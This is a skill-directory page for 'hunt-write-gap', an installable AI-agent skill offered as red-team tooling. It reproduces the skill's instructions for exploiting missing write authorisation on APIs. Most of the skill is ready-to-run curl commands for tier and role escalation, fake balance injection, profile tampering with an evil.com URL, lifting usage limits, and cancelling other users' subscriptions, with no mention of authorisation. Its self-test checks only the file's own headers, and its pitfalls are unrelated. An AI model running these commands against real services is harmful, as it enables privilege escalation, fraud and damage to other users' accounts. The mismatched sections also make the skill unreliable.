SkillAgentSearch skills...

hunt-write-gap

Hunt read-protected write-gaping endpoints. PATCH/POST/DELETE without authorization while GET is protected. Agnostic: Supabase, Firebase, REST, GraphQL.

Install / Use

npx skills add uphiago/recon-skills --skill hunt-write-gap

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

87/100

Supported Platforms

Universal

Our assessment of hunt-write-gap

hunt-write-gap scores 87/100 on our quality scale, 2184th of 4,698 Development & Engineering skills we index (top 47%).

Its SKILL.md is 5.7 KB long, well organised into 17 sections with 3 code examples: a solid amount of guidance for an agent.

With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
26/30
Structure
18/20
Description
15/15
Adoption
13/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 3 months ago, so hunt-write-gap is actively maintained.
  • Our last check on 2026-10-11 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-10-04. Automated pattern scan on 2026-10-04. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

hunt-write-gap compared with similar skills

All 4 of these similar skills score higher than hunt-write-gap; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-write-gap (this skill)by uphiago871.3k3mo agoSKILL.md
taste-skillby Leonxlnx100116.8k8d agoCLAUDE.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
ai-job-searchby ai-job-search-dev10072.1ktodayCLAUDE.md

Frequently asked questions

How do I install hunt-write-gap?
Run npx skills add uphiago/recon-skills --skill hunt-write-gap. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-write-gap work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-write-gap safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-write-gap still maintained?
The repository was last updated about 3 months ago, so hunt-write-gap is actively maintained.

name: hunt-write-gap description: "Hunt read-protected write-gaping endpoints. PATCH/POST/DELETE without authorization while GET is protected. Agnostic: Supabase, Firebase, REST, GraphQL." version: 1.1.0 revision_date: 2026-07-25 license: MIT category: redteam tags: [write-gap, hunt, redteam]

When to Use

You have authenticated access to a target and can READ your own data (profile, settings, records), but need to test if you can MODIFY data beyond your authorization level. This is the #1 pattern in Supabase-backed SaaS and increasingly common in Firebase, custom REST APIs, and GraphQL backends.

The pattern: GET /resource returns only your data (RLS/auth working). PATCH /resource lets you change anything including tier, role, balance, and subscription status.


Phase 1 — Identify Writeable Endpoints

From prior recon (schema enumeration, JS bundle analysis), build a list of endpoints that accept write methods:

TARGET="https://api.target.com"
TOKEN="<your_auth_token>"

# Test common write methods on all discovered endpoints
for ep in users subscribers profiles accounts settings; do
  for method in PATCH PUT POST; do
    code=$(curl --max-time 30 --connect-timeout 10 -sk -X "$method" -w "%{http_code}" -o /tmp/resp.txt \
      "${TARGET}/${ep}" \
      -H "Authorization: Bearer ${TOKEN}" \
      -H "Content-Type: application/json" -d '{}' 2>/dev/null)
    if [ "$code" != "404" ] && [ "$code" != "405" ]; then
      echo "  $method /${ep}: HTTP $code"
    fi
  done
done

A 200/400 response means the endpoint EXISTS and accepts writes. 404 means it doesn't exist. 405 means wrong method.


Phase 2 — Test Write Operations

For each confirmed writeable endpoint, test if you can modify privileged fields:

# Tier/role escalation
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"tier_id":"<PRO_TIER_ID>","subscribed":true}'

# Balance manipulation  
curl --max-time 30 --connect-timeout 10 -sk -X POST "${TARGET}/movements" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","amount":999999,"type":"income"}'

# Profile tampering
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/profiles?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"full_name":"HACKED","avatar_url":"https://evil.com/pwned.png"}'

# AI/rate limits bypass
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/ai_usage_limits?user_id=eq.${USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"document_analysis_limit":99999}'

Phase 3 — Test for Cross-User Writes (IDOR Write)

After confirming your own data is writable, test if you can modify OTHER users:

# Try to write with a filter targeting other users
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "${TARGET}/subscribers?user_id=neq.${MY_USER_ID}" \
  -H "Authorization: Bearer ${TOKEN}" \
  -d '{"subscribed":false}'  # Try to cancel others' subscriptions

# Response: [] (empty = RLS blocked cross-user write — GOOD)
# Response: [{...}] (data returned = RLS MISSING for cross-user write — CRITICAL)

Field-Confirmed Patterns

| Pattern | Endpoint | Impact | |---------|----------|--------| | Tier upgrade | PATCH /subscribers | Free → Pro, lifetime subscription | | Balance injection | POST /movements | Fake income, corrupt analytics | | Profile hijack | PATCH /profiles | Name/avatar changed, phishing vector | | AI limits bypass | PATCH /ai_usage_limits | Unlimited AI processing | | Rate limit removal | PATCH /rate_limits | Bypass all usage quotas | | Config tampering | PATCH /settings | Modify global app configuration |


Verification

  • Confirmed write gap: PATCH/POST returns 200 with modified data in response body. Verify by GET-ing the same resource.
  • Protected: Returns 401/403 or silently drops unauthorized fields.
  • False positive: Endpoint accepts the request but doesn't actually persist changes (verify with GET).

What Next

  • If write gap confirmed → report as CRITICAL (privilege escalation + business logic bypass)
  • If cross-user write works → report as CRITICAL (IDOR write = full account takeover of all users)
  • If only own data writable → check hunt-business-logic for economic impact of self-modification

Verification

Run this self-test to confirm write-gap hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-write-gap" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

All 3 tests verify the skill is properly structured and ready for use.


Pitfalls

  • Write-what-where primitive without exploitation — the ability to write arbitrary data to arbitrary addresses is the finding. Need to demonstrate what the write achieves.
  • Race condition write vs atomic write — if the write is atomic (single instruction), it may not be exploitable. Need a race window.
  • File write without execution — writing to disk is a primitive. Need ability to execute the written content (web shell, cron job, DLL hijack).
  • Memory corruption write without control — crashing the server isn't a finding. Need controlled write with predictable impact.

Related Skills

View on GitHub
GitHub Stars1.3k
CategoryDevelopment
Updated2mo ago
Forks215

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions
hunt-write-gap — Universal Skill: Install & Safety Check | SkillAgent